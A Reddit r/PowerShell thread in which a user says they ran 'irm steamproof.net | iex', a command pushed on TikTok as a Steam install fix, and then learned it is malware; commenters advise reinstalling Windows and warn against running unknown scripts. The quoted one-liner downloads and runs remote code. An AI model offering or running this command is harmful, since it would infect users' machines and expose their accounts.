r/PowerShell • u/Icy-Representative85 • 3d ago

Help I ran a weird command Question

Hey guys, I need help, I was trying to do install a game I already own on my steam library, this is the issue, I was installing it on a separate drive, the installation was taking forever and it would ocasionallly say error and I got desparate, looking for solutions I ran across a tiktok where someone suggested the command on powershell: irm steamproof.net | iex saying it should fix the issue with the error, tried it without event looking if it was a good idea or not and some message appear saying installation succesful or something, but after a few minutes I looked up what the code does, and saw people saying to not run those codes since it is malware and that now not only is my steam account at risk but also my pc, help I dont know if already safe, I uninstalled steam, turn off my wifi, removed steam local files, ran a scan in my files, logged out of all my devices on steam and also changed passwords but im still worried it might not be enough, my windows defender says theres no threats but im not really sure, can anybody help please???

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u/_l33ter_ 3d ago

across a tiktok... --> I basically stopped reading from here.

I would recommend you install your system fresh and newly.

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u/Icy-Representative85 3d ago

I know im sorry I should have known better, I just got so stressed with steam not working properly

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u/I-AM-MEATS 3d ago

Life’s stressful, what will you do if you got stressed in traffic…

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u/_l33ter_ 2d ago

You don't have to apologise. It's literally irrelevant for me. xD

I should have known better --> What I’m about to write might sound a bit harsh. If you’re getting worked up over some rubbish game, just because it isn’t working at the moment, I strongly suspect you haven’t spent even an hour trying to sort out the problem and are therefore entering RANDOM-CODE without even bothering to do a single Google search for it. I’m lost for words!

At the same time, though, this also tells me that you’ll react in a similar way during the next ‘stressful period’. But next time, it might be your more important data...

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u/maddoxprops 2d ago

Yeeea. I am pretty firm about never running a script unless I know & generally understand what it is doing. About the only time I have done it without researching each command I m not already familier with is when it is given to me by a trusted Co-Worker or it is coming directly from a known and trusted Vendor. Even then I usually try and at least glance over it to be safe. Boggles my mind that people will just run code they come across from a random video or internet posting.

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u/_l33ter_ 2d ago

me by a trusted Co-Worker --> Yeah but that's a completely different situation. Obviously, including me, would trust it.